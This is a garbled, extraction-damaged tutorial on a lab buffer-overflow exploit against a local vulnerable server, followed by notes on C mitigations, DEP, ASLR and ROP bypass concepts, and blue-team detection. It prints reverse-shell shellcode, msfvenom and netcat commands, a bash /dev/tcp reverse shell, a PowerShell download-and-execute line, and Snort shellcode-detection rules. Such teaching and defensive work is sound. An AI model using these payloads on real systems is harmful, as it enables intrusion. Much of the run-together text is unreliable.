eip=x41x41x41x41
ending=x90200
nopsled=(x41(1000-len(malware)))
MESSAGE=x901040+eip+nopsled+malware+ending
After updating the code in the clientpy script go ahead and run the attack against the vulnerable server while in EDB debug mode Then
look into your register windows and try to ldquoFindrdquo any x90rsquos or if you used Arsquos x41rsquos If you find a register in my case ESP I overwrote
with a bunch of x41rsquos So instead of manually hard coded a memory location into the exploit I can now simply reference by ESP register
pointertojumpintothenopsled
One point here that was omitted online is the value of this In order to ldquoJumprdquo into all those ldquoArsquos you will need a librarydll with that
specific x86 operation code which your program has access to Letrsquos say Windows or Linux has a library with a JMP ESP command that
can program can call then your exploit becomes more portable because you can simply call that library Plus if you want to try out
bigger malware payloads you donrsquot have to go down into lower memory locations and hard code the new NOP location to ldquomake roomrdquo
for a bigger payload With memory protections enabled I suspect this becomes more complex but I think for now wersquoll go with the shell
codeaftertheEIPsowecanjumpintoESP
NOPS++EIP(JMPtoREGISTER)+NOPSLED+MALWARE+NOPS
BadCharactersinCustomMalwareIfyouweretoattempttofindyourownbufferoverflowinapieceofsoftwareandwriteyourownremotecodeexecutionorremotecommandexecutionyouwouldfindthatsomecharactersarereservedforpromotinglanguageandassemblerForexamplex00isusedforNULLpointterminationinCwhichindicatesanendofanarrayorbufferandtellsaprogramtostopatthepointitseesx00OtherlanguagesmayhavesimilarreservedtypeofcharactersyouwanttocommitAsanoverlysimplifiedexamplehellip
x86encodedShellCodewBadCharacters(Fornextsection)
xddxc4xb8xe3xb7xf6x55xd9x74x24xf4x5bx2bxc9xb1
x12x31x43x17x83xc3x04x03xa0xa4x14xa0x17x10x2f
xa8x04xe5x83x45xa8x60xc2x2axcaxbfx85xd8x4bxf0
xb9x13xebxb9xbcx52x83x46x3fxa5x52xd1x3dxa5x45
x7dxcbx44xd5x1bx9bxd7x46x57x18x51x89x5ax9fx33
x21x0bx8fxc0xd9xbbxe0x09x7bx00x00x55x76xb6x29xf6x01
xd8x7dxf3xdcx9bx00x00
Nowletrsquosupdateourclientpycodetoreflectthesechangesandincludethereverseshellpayloadwejustmade
UpdatedclientpyCodewiththeldquoBadCharactercoderdquo
Wersquore getting close to the moment of truth The expected behavior is when turn on another netcat listener on port 4444 and run the
clientpy the clientpy script will attack the vulnerable tcp server and write our malicious code into the vulnerable serverrsquos buffer and
overwrite EIP with a memory pointer that will tell the CPU to ldquogo backrdquo to our malicious command which will ultimately create a
connection back to the ldquoattackerrdquo on the listening 4444 port However because we have ldquoBad Charactersrdquo we know the connection
willfail
Enablenetcatonport4444(nc-lvp4444)
TurnonthevulnerableserverinEDB(Server1337)andthenattachtheprogramtoEDB
Runtheupdatedclientpyscriptagainstthevulnerableserver(pythonclientpy1337)
WaitforthevictimmachinetoconnectbacktotheldquoAttackerrdquoonport4444
We notice that the attack fails because the connection back to our attacking machine (farthest right) does not respond to our ID or
WHOIScommandsLetrsquosinvestigate
1 RightclickEIPinRegisterWindowsrarrFollowinDump
2 ScrollaroundandfindthemalwareinbetweentheNOPSLEDandNOPending
3 Lookforx00commandsandtrytonoticeanythingorstrange
WhattheTargetMachineSees
Whatwesentover
We go through each HEX character one by one and notice if any original character from the client payload are omittedgoofed up etc
etc This is a slow and tedious part of the process and arguably the best opportunity to learn We see a whole string of characters does
not ldquomatchrdquo So what happened The bad characters are reserved for various operations and memory locations If you send an OP
CODE for example then the machine will just process it ldquoas isrdquo not knowing that the characters you sent are part of a specific sequence
of characters to form a command In an environment where you are trying to encode BASH command or x86 x64 you will run into
various characters that your malware payloads canrsquot use If you donrsquot spend the time checking the memory dump for bad
charactersthenyouwillhavemanysadandlonelyhoursbehindthekeyboard
So we have to generate a payload that can omit bad characters Luckily we have a program to help us generate x86 shellcode and
omitcharacters
msfvenom-plinuxx86shell_reverse_tcpLHOST=127001LPORT=4444-fcndashex86shikata_ga_nai-bx00x0ax0d
TestingforbadcharactersisthebestwayforyoutolearnthedebuggerassemblyandHEXYoucandoitatleasttwowaysthatIknow
ofhellip
1 UseagiantblobofallASCIcharactersinHEX
2 Generateacouplesimplepayloadsyouwanttoexecuteandwalkthroughthepayloadlinebyline
Howtotestforbadcharactersandotherassemblyandregisterissues
Terminal1Server1337
Terminal2edb(orGDBIwonrsquotjudge)
fromedbrarrattachrarrServer
fromedbrarrdebugrarrclickrunrarrclickrunagainrarrlookatbottompainandseeiftheprogramisrunning
Terminal3ExecutetheclientscriptwithyourmaliciouspayloadpadwithArsquosorNOPSsoyoucanldquoFindrdquoyourcodequicklyinmemory
Yoursquollbelookingforx41orx90rsquos
Option1-AlltheASCII
x01x02x03x04x05x06x07x08x09x0ax0bx0cx0dx0ex0fx10
x11x12x13x14x15x16x17x18x19x1ax1bx1cx1dx1ex1fx20
x21x22x23x24x25x26x27x28x29x2ax2bx2cx2dx2ex2fx30
x31x32x33x34x35x36x37x38x39x3ax3bx3cx3dx3ex3fx40
x41x42x43x44x45x46x47x48x49x4ax4bx4cx4dx4ex4fx50
x51x52x53x54x55x56x57x58x59x5ax5bx5cx5dx5ex5fx60
x61x62x63x64x65x66x67x68x69x6ax6bx6cx6dx6ex6fx70
x71x72x73x74x75x76x77x78x79x7ax7bx7cx7dx7ex7fx80
x81x82x83x84x85x86x87x88x89x8ax8bx8cx8dx8ex8fx90
x91x92x93x94x95x96x97x98x99x9ax9bx9cx9dx9ex9fxa0
xa1xa2xa3xa4xa5xa6xa7xa8xa9xaaxabxacxadxaexafxb0
xb1xb2xb3xb4xb5xb6xb7xb8xb9xbaxbbxbcxbdxbexbfxc0
xc1xc2xc3xc4xc5xc6xc7xc8xc9xcaxcbxccxcdxcexcfxd0
xd1xd2xd3xd4xd5xd6xd7xd8xd9xdaxdbxdcxddxdexdfxe0
xe1xe2xe3xe4xe5xe6xe7xe8xe9xeaxebxecxedxeexefxf0xf1xf2xf3xf4xf5xf6xf7xf8xf9xfaxfbxfcxfdxfexff
Option2-Testsomespecificcommands
msfvenom-plinuxx86shell_reverse_tcpLHOST=127001LPORT=4444-fcndashex86shikata_ga_nai-bx00x0ax0d
xdaxc2xb8x84x78xb5xb8xd9x74x24xf4x5fx2bxc9xb1
x12x31x47x17x03x47x17x83x6bx84x57x4dx42xaex6f
x4dxf7x13xc3xf8xf5x1ax02x4cx9fxd1x45x3ex06x5a
x7ax8cx38xd3xfcxf7x50x9bxfex07xa1x0bxfdx07xb0
x97x88xe9x02x41xdbxb8x31x3dxd8xb3x54x8cx5fx91
xfex61x4fx65x96x15xa0xa6x04x8fx37x5bx9ax1cxc1
x7dxaaxa8x1cxfd
The-bx00x0ax0doptioninthecommandwillomitthex00rsquosfromtheoutputPreviouslyIpurposelyinsertedsomepeskyx00rsquosinto
thisshellcodeforillustrationTherealityisthatevenMSFVENOMmayoutputapayloadwithbadcharacterandyoustillneedtotest
Anothernoteisthattrytouseaverysimplepieceofmalwareforthefirstcodeexecution
ldquoThelargermoreadvancedthemalwareisinthebufferoverflowsthemorelikelyyouaretorunintobadcharacterandotherruntime
issuesitrsquosjustsimplemathhellipmorecharactersmorechancesforfailurerdquo
KeepitsimpleandsmallYoudonrsquotalwaysneedreverseshellsandmaybeyoucanrsquotuseareverseshellbecauseofbadcharactersor
hardeningRememberyoucanalwaysgetabiggerpayloadorbinarydowntothemachinewithasimpleTFTPGETCURLorECHO
commandLetrsquosruntheattackwiththebadcharactersomittedandseeifwecanlandashell
NewPayload
xdaxc2xb8x84x78xb5xb8xd9x74x24xf4x5fx2bxc9xb1
x12x31x47x17x03x47x17x83x6bx84x57x4dx42xaex6f
x4dxf7x13xc3xf8xf5x1ax02x4cx9fxd1x45x3ex06x5a
x7ax8cx38xd3xfcxf7x50x9bxfex07xa1x0bxfdx07xb0
x97x88xe9x02x41xdbxb8x31x3dxd8xb3x54x8cx5fx91
xfex61x4fx65x96x15xa0xa6x04x8fx37x5bx9ax1cxc1
x7dxaaxa8x1cxfd
Enablenetcatonport4444(nc-lvp4444)
TurnonthevulnerableserverinEDB(Server1337)andthenattachtheprogramtoEDB
Runtheupdatedclientpyscriptagainstthevulnerableserver(pythonclientpy1337)
WaitforthevictimmachinetoconnectbacktotheldquoAttackerrdquoonport4444
ClickldquoRunthroughprogramrdquobecauseyoumaybecaughtindebugmode
FinalResults
SuccessItlookslikethestackwasoverwrittenandwesuccessfullytoldEIPtopointintoourNOPSELDlocatedinESPFromthere
theCPUranthroughthememoryuntilitgotourmaliciouscodeThereverseshellcommandexecutedinthestackandconnectedback
toourldquoattackingrdquoterminal(farthestright)
CommonBufferOverflowExampleandMitigations(inC)
WhetheryourwritingsourceoryoujustreversedengineeredacompiledbinarywithGHIDRAyoumaywanttoknowwhichfunctionsare
morelikelytocauseanoverflowOlderClibraryfunctionslikestrcpy()strcat()sprintf()andvsprintf()operateonnullterminated
stringsandperformnoboundscheckingGets()isanotherfunctionthatreadsinput(intoabuffer)fromstdinuntilaterminatingnewline
orEOF(EndofFile)isfoundThescanf()familyoffunctionsalsomayresultinbufferoverflowsUsingstrncpy()strncat()snprintf()
andfgets()allmitigatethisproblembyspecifyingamaximumstringlengthofNHerersquosafewwelldocumentedexamplesIprovidedthe
assemblyinstructionstoillustratethatyoumightbeabletoreverseengineerwhereBOrsquospresentthemselvesfromobservingthe
registersofacompiledbinaryorreviewingtheoutputfromGHIDRA
gets
Thestdiogets()functiondoesnotcheckforbufferlengthandalwaysresultsinavulnerability
VulnerableCode(SOURCE)
printfexternallink(Inputsomethingnastyhere)
gets(something)
VulnerableCode(ASSEMBLY)
FixedCode
printfexternallink(Inputsomethingnastyhere)
fgets(usernameLENGTHstdin)
strcpy
Thestrcpybuilt-infunctiondoesnotnativelycheckbufferlengthsAsillustratedinourexampleiscanoverwritememoryzone
contiguoustomemorywherethepayloadisstored
VulnerableCode
charstr1[10]
charstr2[]=badstuffhere
strcpy(str1str2)
FixedCode(SOURCE)
enumBUFFER_LIMIT=1024
intmain()
chardst[BUFFER_LIMIT]
charsrc[]=badstuffhere
intbuffer_length=strlcpy(dstsrcBUFFER_LIMIT)
if(buffer_lengthgt=BUFFER_LIMIT)
printfexternallink(Stoptryingtooverflowmybufferd(disthelengthn
buffer_lengthBUFFER_LIMIT-1)
VulnerableCode(ASSEMBLY)
Anotherwaytomitigatestrcpyissuethatcomesupinblogsandowaspisstrncpywhichcanpreventbufferoverflows
FixedCode(SOURCE)
enumBUFFER_BOUNDARY_SIZE=1024
charstr1[BUFFER_BOUNDARY_SIZE]
charstr2[]=badstuffhere
strncpy(str1str2BUFFER_BOUNDARY_SIZE)limitsthenumberofcharacterstobecopiedtofizedlengthofbuffersize
strcat
YoumayalsoseetheuseofstrcatinsteadofstrncatstrcatdoesnotnativelysupportsettinganNlimitontheargumentpassedinto
thebufferAppendsthefirstnumcharactersofsourcetodestinationplusaterminatingnull-characterIfthelengthoftheCstringin
sourceislessthannumonlythecontentuptotheterminatingnull-characteriscopied
FixedCode(SOURCE)
defineBUFFER_BOUNDARY_SIZE1024
charbuff[BUFFER_BOUNDARY_SIZE]
Usesecurestrncpythenuse
strlcpy(buffString1BUFFER_BOUNDARY_SIZE-1)
buff[BUFFER_BOUNDARY_SIZE-1]=0
strncat(buffString2BUFFER_BOUNDARY_SIZE-strlen(buff)-1)
strcmp
ComparestheCstringstr1totheCstringstr2ThisfunctionstartscomparingthefirstcharacterofeachstringIftheyareequaltoeach
otheritcontinueswiththefollowingpairsuntilthecharactersdifferoruntilaterminatingnull-characterisreachedStrcmpdoesnot
validatethesizeoftheinputagainstthepredefinedbuffer
OtherMitigationstoBufferOverflows
During this tutorial I asked you to disable a few protections so we can perform a basic overflow PoC For example you had disable
ASLR in Linux using the procsyskernelrandomize_va_space interface You may have noticed the compiled C binaries needed the
following arguments -fno-stack-protector and -z execstac passed at compile time to remove C memory protections Modern exploits
need to bypass these advanced mechanisms so therersquos an entirely new rabbit hole Irsquoll only cover a few very broad areas here for my
own interest and to set myself up for further PoCrsquos and papers in the journey ahead The following should be just enough for the
newcomertodiptheirtoesintothesubjects
Canary
A less useful protections involves a method called a stack canary protections A stack canary work by modifying every functions
prologue and epilogue regions to assign a special ldquoCanaryrdquo character and check if the canary value is on the stack If not the canary
ldquosingsrdquo to warn you lol An example is The Stack Smashing Protector (SSP) compiler feature which according to their website helps
detect stack buffer overrun by aborting if a secret value on the stack is changed SSP even admits that if an attacker can properly
overwriteorjumpacanaryinstructionitispossibletobypasstheprotectionHereareafewresourcesIrsquovestartedwith
https0x00secorgtexploit-mitigation-techniques-stack-canaries5085
httpswwwrapid7comresourcesstructured-exception-handler-overwrite-explained
httpswwwexploit-dbcomdocsenglish17505-structured-exception-handler-exploitationpdf
DEP-DataExecutionProtection
DEP or executable-space protection specifically flags some memory regions as non-executable The intent is that when malware
executes the machine code in the protected regions it will cause an execution exception Flagging the memory regions and registers as
non-executablemeanstheattackerscodecannotberunUltimatelythismakesithardertoachieveofbufferoverruns
For example according the Linux man page on execstack ldquoexecstack is a program which sets clears or queries executable stack flag
of ELF binaries and shared librariesrdquo Another note your compiled binaries could be flagged with a no execution bit (NX) while other
linked libraries may still have executable stacks This is where problems arise -fno-stack-protectactor disables stack overflow
security checks for certain (or all) routines When option -fstack-protector-strong is specified it enables stack overflow security checks
forroutineswithanytypeofbuffer
In modern Windows software DEP is configured at system boot via a policy setting in the boot configuration data An application can get
the current policy setting by calling the GetSystemDEPPolicy function Hardware DEP is typically enabled by default in at the
bootloader but can be disabled with physical access Depending on the policy setting an User-Land application can change the DEP
setting for the current process by calling the SetProcessDEPPolicy function Allowing user-land changes is where developers may
introduceunprotectedcompiledbinariesThefollowinglinksareexamplesofhowtoimplementDEP
httpslwnnetArticles422487
httpslinuxdienetman8execstack
httpssupportmicrosoftcomen-ushelp875352a-detailed-description-of-the-data-execution-prevention-dep-feature-in
httpssupportmicrosoftcomen-ushelp912923how-to-determine-that-hardware-dep-is-available-and-configured-on-your
httpsdocsmicrosoftcomen-uswindows-hardwaredriversdevtestboot-parameters-to-configure-dep-and-pae
BypassingDEP
Bypassing DEP and NX requires a method called Return-Oriented Programming My first introduction to this concept was thanks to
David Maloney Sr Security Researcher at Rapid7 who had a great youtube video online that covered the concept at 1000 feet view
ThevideofirstmentionsamethoddevelopedgoingtoreturntolibcandthendiscussesReturnObjectProgrammingorROPchaining
So if stack execution is enabled wersquod expect that an attempt to execute from the stack will result in a terminated process and the cpu
will throw a segmentation fault In the return to lib C method instead of overwriting EIP with a JUMP ESP instruction like this PoC you
overwritetheInstructionPointerwithfunctionsfromwithinlibclibrary
arguments Another thing I learned is that libC is not required however it is just the most likely available and most common target in
linux In a libC example I found it was as simple as finding the memory location for system() and calling binbash which was executable
in memory As a counter defense some folks remove functions from libraries that can result in this type of chained execution Another
option which does not rely on calls to external executable functions is Return Object Programming or ROP chaining As mentioned in
the video your exploit must make use of instruction sequences available in the program yoursquore attacking or libraries linked to the
application aka ldquorop gadgetsrdquo When reading about ROP gadget I came across a line that explained there are intended sequences of
instructions and unintended sequences of instructions Hmmmmm why Because misspelling copy and pasting code hellip nope
somethingmoretrvialIrsquollre-usethisquotebecauseitwasafunpuzzle
ldquoWhat Unintended how come well if you look at a sentence like ldquothe articlerdquo the writer intended to say ldquothe articlerdquo but he didnrsquot
intendtohavethewordldquoheartrdquodidherdquo
Basically the instructions wersquore looking for end in RET aka ldquoReturnrdquo You chain a bunch of these assembly instructions together in your
payload until you get a command that can perform similar execution to the malware we used in our simple PoC You can find ROP
gadgets with the following in Immunity Debugger mona rop -m dll -cp nonull or in linux you can try simple text search for RET
instructionorROPgadgetToolonGithHuborVNsecuritycalledROPemeandorprocpidmaps
An example used in a linked exploit-db article is chaining a bunch of ROP gadgets together to basically execute
ldquoexecve(ldquobinshrdquo00)rdquo Execve executes the program pointed to by filename filename must be either a binary executable or a script
which in our case would be something like a variable equal to our reverse shell command binsh -i gtamp devtcp1270014444 0gtamp1
But when Windows or Linux has ASLR enabled libraries those binaries will have a randomized virtual memory space so it makes it
difficulttocallexecve()orsystem()
Another technique to bypass DEP makes use of native API that can change the execution flag on your memory spaces Examples Irsquove
found include VirtualAlloc HeapCreateVirtualProtect APIs If you can call upon these functions then you may be able to either create
a new executable space or change the flag for existing executable space However finding the memory addresses to these functions
andcallingthemappearstobeadifferentstory
httpsgithubcomJonathanSalwanROPgadget
httpswwwrapid7comresourcesrop-exploit-explained
httpswwwexploit-dbcomdocsenglish17131-linux-exploit-development-part-3---ret2libcpdf
httpswwwexploit-dbcomdocsenglish28479-return-oriented-programming-(rop-ftw)pdf
httpswwwexploit-dbcomdocsenglish44090-zero-day-zen-garden-windows-exploit-development---part-5-[return-oriented-programmi
ng-chains]pdf
ASLR(Addressspacelayoutrandomization)
Inourexampleyoumayhavenoticedthatwecoulddirectlypullamemoryaddressandre-usethataddressinorubufferoverflowPoCThisisbecausewedisabledASLRviaLinuxecho0|sudoteeprocsyskernelrandomize_va_spaceWindows[HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlSessionManagerMemoryManagement]ldquoMoveImagesrdquo=dword00000000Addressspacelayoutrandomization(ASLR)isamechanisminvolvedinreducingreliabilityofexploitationviamemorycorruptionattacksliketheBufferOverflowinthisPoCInourPoCyoumayhavenoticedwepulledthehardwarememorylocationsofourbinariesandthenpointedbacktothosehardwarememorylocationsIfyoucanobscurethosememorylocationssuchthatpredictingthemisincreasinglydifficultthenthebarrierentryinexploitwritingandexecutionbecomesharderForexampleweusedJMPESPmemorylocationtoslidebackintoourNOPSLEDASLRwouldrandomlyarrangesthevirtualmemoryaddressspacepositionsofkeydataareasofaprocessincludingthebaseoftheexecutableandthepositionsofthestackheapandlibrarieswhentheythebinaryisloadedIfwewanttojumpintoaROPgadgetorcallnativeAPIrsquosandDLLshowwouldwedoitifwecanrsquotaccuratelyupdatearegistrypointerwiththememorylocation
BypassingASLR
Admittedly this is a very deep rabbit hole Most write-ups and video tutorials require an expert level knowledge of assembly and
windowslinux software architecture beyond what I intended this write-up for Irsquoll do my best to boil what Irsquove learned down into digestible
chunksandhopefullythishelpsguidemyselfandotherfurtherstudies
NonASLRlinkedbinaries
It seems like that as Windows and Linux made the transition to ASLR in the early 2000rsquos that about a decade later they were left with
some non ASLR binaries for cross compatibility It could even be that some custom application you downloaded ported over something
that is specifically ASLR disabled I found an example of this in the following two articles hellip Attacking specific functions within non ASLR
enabled binaries appears to be an early method where if we could find a ldquouniversalrdquo DLL in windows or linux we may be able to call the
memory address of JMP ESP or ROP GADGET or similar from there The point is a combination of an insecure ASLR enabled program
with access or links to a non ASLR binary results in access instructions and predictable memory locations that can be used to bypass
ASLRandbeginaROPattack
httpswwwexploit-dbcomdocsenglish17504-defeating-data-execution-prevention-and-aslr-in-windows-xp-sp3pdf
httpswwwexploit-dbcomdocsenglish17914-bypassing-aslrdeppdf
PointerLeaksDanglingPointers
If you dig deep enough yoursquoll find some mention of modern attacks using dangling pointers or pointer leakers to bypass ASLR This isnrsquot
for the faint of heart and probably not for a newcomer like myself but I like rabbit holes A dangling pointer bug can be used to put code
into an application An object put into memory is allocated a space in heap and object functions are typically managed via a VFTABLE
which creates virtual pointers which reference the actual object in HEAP My understanding is that if you can overwrite the memory
object in HEAP with exact procesion at the exact time after it has be de-allocated from memory but before it has been destructed that
the object space can be overwritten with malicious code This is due to how allocation of heap is managed de-allocated freed and how
virtualfunctionsarereferencedviavirtualtables
httpswwwblackhatcompresentationsbh-usa-07AfekWhitepaperbh-usa-07-afek-WPpdf
httpswwwowasporgimagesffaOWASP_IL_8_Dangling_Pointerpdf
httpswwwrapid7comresourceswhy-you-should-be-using-emet
HEAPSprayswithASLRdisabledVirtualAlloc()inWindows
If you canrsquot find memory location of instructions in ASLR protected binaries and libraries it appears you can spray the heap and create
write chunks to memory of NOPs and malware You would likely still need to bypass DEP so ROP chains still apply however you can
either look for non ASLR binary to ROP or spray ROP gadgets in the blocks passed to HEAP Spraying Heap with memory allocated by
VirtualAlloc() appears to have been a successful method by bypass ASLR because VirtualAlloc() was not ASLR protected but this
seemslikejustplainluck
httpswwwcorelanbeindexphp20111231exploit-writing-tutorial-part-11-heap-spraying-demystified
httpswwwblackhatcompresentationsbh-europe-07SotirovPresentationbh-eu-07-sotirov-apr19pdf
BlueteamEngineeringforpostBufferOverflow
For my own general curiosity I wanted to end this PoC with some notes on how detect a Buffer Overflow attack My intent is to just
learn and see where it takes me As a newcomer maybe this will help paint a better picture of cyber-security as a whole Because BOrsquos
are memory attacks it can be difficult to detect unless you have a low level program monitoring for Canary issues NX issues
SEGVFAULT x90rsquos ROPs etc Windows has offered EMET historically and more recently offered an IPSIDS in Windows Defender to
Enterprise There are also some ldquoNext Genrdquo IDSIPS that install in kernel space which have the logic to look for such events As I
thoughtthroughthisIlumpedthedetectionintotwobuckets
1 DetectingFailedBufferOverflowAttempts
2 DetectingSuccessfullyBufferOverflowAttempts
DetectingFailedBufferOverAttemptsinWindows
If you want to hunt attackers who attempt buffer overflow you can turn to the logs For examples EMET (Windows ASLRDEP) events
are logged as a Windows event source called EMET More modern Windows Defender Exploit Guard follows a similar pattern as the
oneIrsquomgoingtooutlineEMETDefenderlogscanbefoundintheWindowsApplicationlog
For EMET there are three levels Information Warning and Error Information messages are used for logging usual operation such as
the EMET Notifier starting Warning messages are used when EMET settings change Error messages are used for logging cases
whereEMETstoppedanapplicationwithoneofitsmitigationswhichmeansanactiveattackhasbeenblocked
EMET and Defender logs can be sent to a central log collection server or from the local machine Irsquoll refer to an example where their
sent to a central log collector parsed then sent onto your SIEM Here is a brief example of an a SPLUNK integration on Windows but a
similarmodelcouldbedeployedwithSyslogSyslogServersandanELKStackactingasaSIEM
Yoursquoll need to ensure your local endpoints are configured to log EMET via GPO Windows Event Collector service is enabled and a
collection server is deployed Here is an example of a local local log policy setting to push down to the endpoints being monitored via
GPOetc
ltQueryListgt
ltQueryId=0Path=Applicationgt
ltSelectPath=Applicationgt[System[Provider[Name=EMET]and(Level=2)]]ltSelectgt
ltQuerygt
ltQueryListgt
To analyze the EMET data in Splunk yoursquoll need to install the Splunk Universal Forwarder on the central log collection server and
configure it to send logs from the collectorsyslog server to a Splunk indexer Splunk Indexer is just a fancy way to say a network service
to send your logs to which has some special logic to parser filter transform and write your logs in a unique format to Splunk based on
somepredefinedSplunkpolicy
Yoursquoll may need to set a filter on the central log server to parse the events for the EMET alerts before sending them on Below is an
exampleoftheWindowseventssubscriptionfilterRememberthedefaultlocationofforwardedlogeventsistheForwardedEventslog
The following is a Splunk sample configurations that can be used in the Splunk inputsconf file on the central log collection server
BasicallythispolicysayswhichlogscangetsentontotheSIEM
[WinEventLogForwardedEvents]
disabled=0
renderXml=1
evt_resolve_ad_obj=1
The above policy config tells the Splunk Universal Forwarder to monitor the Forwarded Events log on the log collection server and to
and send the events in XML format allows for facilitated extraction of information in Splunk to aid in the creation of useful Splunk
queries
SampleEMETEvent
EMETversion55587131892
EMETdetectedEAF+mitigationandwillclosetheapplicationIEXPLOREEXE
EAF+checkfailed
ApplicationCProgramFiles(x86)InternetExplorerIEXPLOREEXE
UserNameDOMAINuser
SessionID1
PID0x1348(4936)
TID0xF90(3984)
ModuleSOMEDLLdll
ModBase0x11630000
ModAddress0x11642E99
MemAddress0x76F501A4
Your Blue Team can configure an alert based on these results Consider correlating the alert with internal ranking of the assets value to
prioritize the response For example an alert like this on a PCI system or system storing your unreleased Intellectual Property may
need immediate action compared to a non production server being pen tested Although a non production server sounds like a nice
beachheadtomaintainafoothold
httpsresourcesseicmueduasset_filesTechnicalNote2016_004_001_466182pdf
httpsblogstechnetmicrosoftcomthedutchguy20170124windows-event-forwarding-to-a-workgroup-collector-server
DetectingSuccessfulBufferOverAttempts
The Blue Team philosophy is to assume your compromise and look for Indicators of Compromise In this model we assume the attacker
has successfully launched a buffer overflow and gained command and control over the asset Which means our mitigations have failed
which they will In my mind there are two techniques Irsquod lie to cover Irsquom sure there are more but as a newcomer I think these two
approachespaintsasolidpicture
1) Networkbasedsignaturedetection(Thismayalsocatchunsuccessfulattempts)
2) Hostbasedsignaturedetection
NetworkBasedDetection
Letrsquos consider the basic reverse shell we created with MSFVENOM from metasploit and packched into our malware variable in the
clientpyscriptWhenthisattackoccursithasafewuniquecharacteristicsinsidethenetworkcommunication
1 EncodedHEXpayloadmalwarewithintheclientattack
2 Abunchofx90rsquoswithintheclientattack
3 possiblybinbashorotheruniquestringssentbackinthereverseshellasSTIOtotheattackersterminal
If you had an inline or passive IDS which had access to the buffer overflow network packets a Blue Teams will likely have
SNORTSURICATA rules which alert on signatures that match our payload This is because the commands to gain a reverse shell from
bash sh python etc are universally known Irsquove included a few examples of emerging shell_code SNORT rules that look for metasploit
generatedBSDshellcode
alert ip $EXTERNAL_NET any -gt $HOME_NET any (msgET SHELLCODE METASPLOIT BSD Reverse shell (Not Encoded 2)
content|6a 61 58 99 52 42 52 42 52 68| fast_patternonly referenceurldocemergingthreatsnet2010416
classtypeshellcode-detect sid2010416 rev4 metadataaffected_product Any attack_target Client_and_Server deployment
Perimeter deployment Internet deployment Internal deployment Datacenter tag Metasploit signature_severity Critical created_at
2010_07_30updated_at2016_07_01)
alert ip $EXTERNAL_NET any -gt $HOME_NET any (msgET SHELLCODE METASPLOIT BSD Reverse shell (Not Encoded 3)
content|89 e1 6a 10 51 50 51 97 6a 62 58 cd 80 6a 02 59 b0 5a 51 57| fast_patternonly
referenceurldocemergingthreatsnet2010417 classtypeshellcode-detect sid2010417 rev4 metadataaffected_product Any
attack_target Client_and_Server deployment Perimeter deployment Internet deployment Internal deployment Datacenter tag
Metasploitsignature_severityCriticalcreated_at2010_07_30updated_at2016_07_01)
Modern attacks occur over TLSSSL over tcp communications these days which means detecting our payload would be difficult to nearly
impossible Blue-teams may counter encrypted communication with TLS interception and packet inspection To further evade TLS
interception crypters encoders custom encoded code or polymorphic code would need to be written Irsquove even heard of padding the
payloadsolargethattherulesareignoredduetoperformanceaswellSneaky
HostBasedDetection
In this model you assume the target has already been breached Maybe EMET was disabled or the attack was highly sophisticated and
made it past your defenses Whatever the case the attacker now has command and control over your machine thanks to a Buffer
OverflowLuckilyattackerpatternsofbehaviorarerelativelypredictableWhatdoesthatmean
Consideriftheactivedirectorylogsshowdirectoryenumerationssuchas
netviewdomain
netuserdomain
netaccountsdomain
Considerifthelocalhostlogsshowlocalaseriesofenumerationscommandssuchas
systeminfo
netlocalgroupldquoAdministratorsrdquo
uname-a
catprocissue
Considermoreadvancedpost-exploitattemptstobypassdetectionviaPowerShell
start-Process -FilePath nssmexe -ArgumentList lsquoinstall MaliciousService ldquoCWindowsSystem32WindowsPowerShellv10powershellexerdquo ldquo-command ldquoamp CScriptsMonitorps1 Start-Monitoring rdquordquo lsquo -NoNewWindow-Wait
powershellexe-execbypassndashnoprofilendashciex(New-ObjectNetWebClient)DownloadString
(http10022108081CodeExecutionInvoke-Shellcodeps1)
Similar to the EMET example local logs can be sent via Windows Collectors andor Syslog and forwarded to your SIEM For PowerShell attack Windows has added additional logging capabilities to memory based powershell execution but if the logs are disabled or omitted then detection may be thwarted Irsquove overly simplified a highly sophisticated topic but the point to drive home is that you assume a zero-daywillsucceedandlookforIoCrsquosthatshowenumerationprivilegeescalationetcetc
ENJOY
ReferencesandHonorableMentions
GeneralReferencehttpsenwikipediaorgwikiAddress_space_layout_randomizationhttpsenwikipediaorgwikiExecutable_space_protectionWindowshttpsenwikipediaorgwikiReturn-oriented_programminghttpsenwikipediaorgwikiJust-in-time_compilationhttpsenwikipediaorgwikiHeap_sprayinghttpsenwikipediaorgwikiDangling_pointerSecurity_holes_involving_dangling_pointersTechnicalResourceshttpsresourcesseicmueduasset_filesTechnicalNote2016_004_001_466182pdfhttpsmindmajixcomsplunkmonitor-windows-event-log-datahttpsgithubcomjpalancoalienvault-ossimblobmastersnort-rules-default-openrules290emergingrulesemerging-shellcoderuleshttpswwwsplunkcomblog20170706hellsbells-lets-hunt-powershellshtmlhttpssciencerpieducomputer-sciencehttpresearchcswiscedumistpresentationskupsch_miller_secse08pdf
httpsresourcesseicmueduasset_filesTechnicalNote2016_004_001_466182pdfhttpsblogstechnetmicrosoftcomthedutchguy20170124windows-event-forwarding-to-a-workgroup-collector-serverhttpsgithubcomJonathanSalwanROPgadgethttpswwwrapid7comresourcesrop-exploit-explainedhttpswwwexploit-dbcomdocsenglish17131-linux-exploit-development-part-3---ret2libcpdfhttpswwwexploit-dbcomdocsenglish28479-return-oriented-programming-(rop-ftw)pdfhttpswwwexploit-dbcomdocsenglish44090-zero-day-zen-garden-windows-exploit-development---part-5-[return-oriented-programming-chains]pdfhttpswwwexploit-dbcomdocsenglish17504-defeating-data-execution-prevention-and-aslr-in-windows-xp-sp3pdfhttpswwwexploit-dbcomdocsenglish17914-bypassing-aslrdeppdfhttpswwwblackhatcompresentationsbh-usa-07AfekWhitepaperbh-usa-07-afek-WPpdfhttpswwwowasporgimagesffaOWASP_IL_8_Dangling_Pointerpdfhttpswwwrapid7comresourceswhy-you-should-be-using-emethttpswwwcorelanbeindexphp20111231exploit-writing-tutorial-part-11-heap-spraying-demystifiedhttpswwwblackhatcompresentationsbh-europe-07SotirovPresentationbh-eu-07-sotirov-apr19pdfComputerphilevideosandtheirAuthorsProgrammingandSoftwareArchitecturehttpswwwseasupennedu~cit595cit595s10contentshtmlhttpswwwlearn-corghttpsgodboltorgLinuxManPagesandtheirAuthors
So what do we want our malware to do For now letrsquos create a simple reverse shell back to a command and control server In the
futureIrsquollwriteapaperaboutacustompieceofmalwarejustforfun
Aboilerplateuniversalreverseshellonlinuxlooksliketheonebelow
binsh-igtampdevtcp12700144440gtamp1
Letrsquos test this out on a similar OS to the target server (as best we can) to make sure it will run correctly Wersquoll create a netcat listener in
